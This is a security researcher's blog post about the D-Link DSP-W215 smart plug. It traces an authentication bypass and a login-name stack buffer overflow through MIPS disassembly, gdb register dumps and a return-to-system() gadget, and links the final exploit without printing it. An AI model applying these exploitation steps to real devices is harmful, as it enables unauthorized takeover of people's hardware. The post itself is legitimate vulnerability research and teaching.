Plug and Play -- Part 4
Oct 22, 2017
7 minute read


Unauthenticated code execution on the D-Link DSP-W215 smart plug.

  • identifying the error leading to the authentication bypass
  • buffer overflow in the user name of the login form
  • second root shell on the plug

Coming back to the authentication bypass

Having a first root shell allows to:

  • perform remote debugging of the actual plug after uploading gdbserver
  • download of the plug’s config.sqlite, which can then be used in qemu, from which one gets some information:
sqlite3 config.sqlite 
sqlite> .schema
sqlite> select * from DeviceSecurity;

  • check the NX and ASLR protections as mentionned in Part 3. In particular, since only the stack position is randomized, having access to the plug with this first shell allows to get the bases of all shared libraries.
  • obtain the kernel version:
uname -a
Linux DSP-W215 2.6.31 #1 Wed Oct 22 15:51:16 CST 2014 mips GNU/Linux

After enjoying this root shell, I wanted to find the reason behind the authentication bypass discussed in Part 1

A few strings searches quickly led me to the check_login_addr() function in, and in particular to the following block

0x6610        addiu   $s0, $sp, 0x288+var_C4
0x6614        la      $t9, memset
0x6618        li      $a2, 0x96
0x661c        move    $a0, $s0
0x6620        jalr    $t9 ; memset
0x6624        move    $a1, $zero
0x6628        lw      $gp, 0x288+var_270($sp)
0x662c        move    $a0, $s0
0x6630        addiu   $s1, $sp, 0x288+var_1E8
0x6634        li      $a1, 0x20000
0x6638        la      $t9, strcpy
0x663c        addiu   $fp, $sp, 0x14C
0x6640        jalr    $t9 ; strcpy
0x6644        addiu   $a1, (aUsername - 0x20000)  # "UserName"
0x6648        lw      $gp, 0x288+var_270($sp)
0x664c        lw      $a0, 0x288+var_260($sp)     # pointer to user name
0x6650        la      $t9, tolower
0x6654        nop
0x6658        jalr    $t9 ; tolower
0x665c        nop
0x6660        lw      $gp, 0x288+var_270($sp)
0x6664        move    $a1, $v0
0x6668        la      $t9, strcpy
0x666c        nop
0x6670        jalr    $t9 ; strcpy
0x6674        addiu   $a0, $sp, 0x288+var_92
0x6678        lw      $gp, 0x288+var_270($sp)
0x667c        move    $a0, $s1
0x6680        move    $a1, $zero
0x6684        la      $t9, memset
0x6688        nop
0x668c        jalr    $t9 ; memset
0x6690        li      $a2, 0x52
0x6694        lw      $gp, 0x288+var_270($sp)
0x6698        move    $a1, $s0
0x669c        move    $a0, $s1
0x66a0        la      $t9, getDeviceSecurity
0x66a4        nop
0x66a8        jalr    $t9 ; getDeviceSecurity
0x66ac        li      $a2, 1
0x66b0        lw      $gp, 0x288+var_270($sp)
0x66b4        move    $a0, $s4
0x66b8        la      $t9, getLoginInfo
0x66bc        nop
0x66c0        jalr    $t9 ; getLoginInfo
0x66c4        move    $a1, $fp
0x66c8        move    $s0, $v0
0x66cc        li      $v0, 1
0x66d0        lw      $gp, 0x288+var_270($sp)
0x66d4        bne     $s0, $v0, loc_6A50
0x66d8        nop

This block is executed when the client performs a login login SOAP action (see Part2), after checking that the user name (given in the login form) is not empty. Basically, what happens in the above block is:

  • 0x6610-0x6624: a stack buffer of size 0x96 (@ sp + 0x1c4, with 0x1c4 being 0x288 - 0xc4) is zeroed out.
  • 0x6628-0x6644: the string “UserName” is copied to the beginning of this buffer.
  • 0x6648-0x665c: this is pure nonsense. Reading too fast, it seems that the user name given in the login form is converted to lower case (the user name is stored on the heap, and there is a pointer to it stored on the stack @ sp + 0x28, with 0x28 = 0x288 - 0x260). But reading tolower()’s man page confirms that tolower() does not convert a string to lower case, and does not take a pointer to char as argument!
  • 0x6660-0x6674: the user name is copied into the previously zeroed out buffer, 50 (0xc4 - 0x92) bytes after the beginning of this buffer. Yes, you spotted it too, there is an old school buffer overflow here, see next section for its exploitation!
  • 0x6678-0x6690: a stack buffer of size 0x52 (@ sp + 0xa0, with 0xa0 being 0x288 - 0x1e8) is zeroed out
  • 0x6694-0x66ac: this buffer is filled with the credentials of the user (user level, name and password) stored in the database by getDeviceSecurity(), if the user name corresponds to an existing user name in the database. For the plug, only “admin” exists in the database. The buffer remains filled with null bytes if the user name is not found in the database. From dynamical analysis, it turns out that getDeviceSecurity() is not case sensitive (with respect to the user name), explaining the behaviour noticed in Part 1
  • 0x66b0-…: whatever happened before, the execution goes on, unchanged, because no check whatsoever is performed when getDeviceSecurity() returns. This means that if the user name was not found in the database, the buffer supposed to contain the credentials (user level, name and password) remains empty. And all the authentication steps that follow will be done with an empty password. So we now know why the authentication bypass works.

Up to now, I have refrained from mocking the people responsible for the firmware running on the plug, because Errare humanum est. But the full latin expression is: Errare humanum est, perseverare diabolicum, so the following seems really well deserved


Good old buffer overflow

The good news is that what I have playfully dubbed “PlugCTF” goes on, since a new level has been unlocked! Injecting a long enough user name leads to a control of the ra (hence the pc) register, as well as of all s* registers. Injecting the pwntools de Bruijn pattern of length 146 (obtained with cyclic(146)) “aaaabaaa…abkaabla” yields

(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x61626c61 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 1000a400 00000000 ffffffff 77edb36f 0000000a 00000000 0a0a0a0a
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   81010100 7efefeff 00000002 00000024 00000025 00000807 00000800 00000400
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  61626361 61626461 61626561 61626661 61626761 61626861 61626961 61626a61
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000008 77e08eb0 00000040 00000000 77ef88b0 7fff30b8 61626b61 61626c61
        status       lo       hi badvaddr    cause       pc
      0000a413 00000000 00000000 61626c60 10800008 61626c61
          fcsr      fir  restart
      00000000 00739300 00000000

The name should not be too long though, because some data (probably some pointers, but I did not try to understand this in detail) from previous stack frames get crushed while still in use. Injecting a pattern whose length is 205 or more leads to:

Program received signal SIGSEGV, Segmentation fault.
0x77e25630 in free () from ./lib/
(gdb) bt
#0  0x77e25630 in free () from ./lib/
#1  0x77f3b648 in create_select_cmd () from ./lib/
#2  0x77f3b7b8 in exec_sql () from ./lib/
#3  0x77f370b0 in select_data () from ./lib/
#4  0x77f398d8 in getDeviceSecurity () from ./lib/
#5  0x77ec86b0 in check_login_addr () from ./lib/
#6  0x61626c61 in ?? ()

Apart from this constraint on the length, we must take care of the following:

  • the user name is used in a SOAP action, so one must be careful not to inject characters like ‘<‘, since such a character is interpreted and could lead to an error, before the web_cgi.cgi binary has a chance of being called (see the discussion about SOAP injection in Part1).
  • null bytes are of course forbidden because of strcpy(). Furthermore, since we deal with Big Endianness, we cannot return even once to code, which resides in the r-x memory mapping 0x00400000-0x0040a000.
  • the stack position is randomized on the plug (but not the shared libraries position, see Part3)

Although the stack is executable, using a shellcode requires to take care of cache coherence. For readers interested in learning more about it, see this, this and that.

Given the lack of randomization of shared libraries bases, it is much easier to use the classical return to libc, and return to system().

Using Craig Heffner’s mipsrop IDA plugin, with command mipsrop.find("jalr $t9") against yields 1165 gadgets. While looking for gadgets using the content of register s0 for the jalr instruction, I found the following beauty:

0x1549c        addiu   $s5, $sp, 0x10
0x154a0        move    $a1, $s3
0x154a4        move    $a2, $s1
0x154a8        move    $t9, $s0
0x154ac        jalr    $t9
0x154b0        move    $a0, $s5
  • 0x1549c and 0x154b0: these two instructions will let a0 point to the stack without needing a stack leak! We’ll make it point to the command string we wish system() to execute.
  • 0x154a0 and 0x154a4: these are useless since system() has a single argument, but would be useful for functions taking up to 3 arguments.
  • 0x154a8 and 0x154ac: these will call system() provided s0 contains the address of system in the libc.

The final exploit and a video of the exploit running on the plug can be found here and there.


I learnt a lot while playing PlugCTF, so I really do not regret spending 38€! I wonder what I’ll be doing with this plug now. Maybe somebody would be interested buying it second hand. I promise I did not backdoor it 😄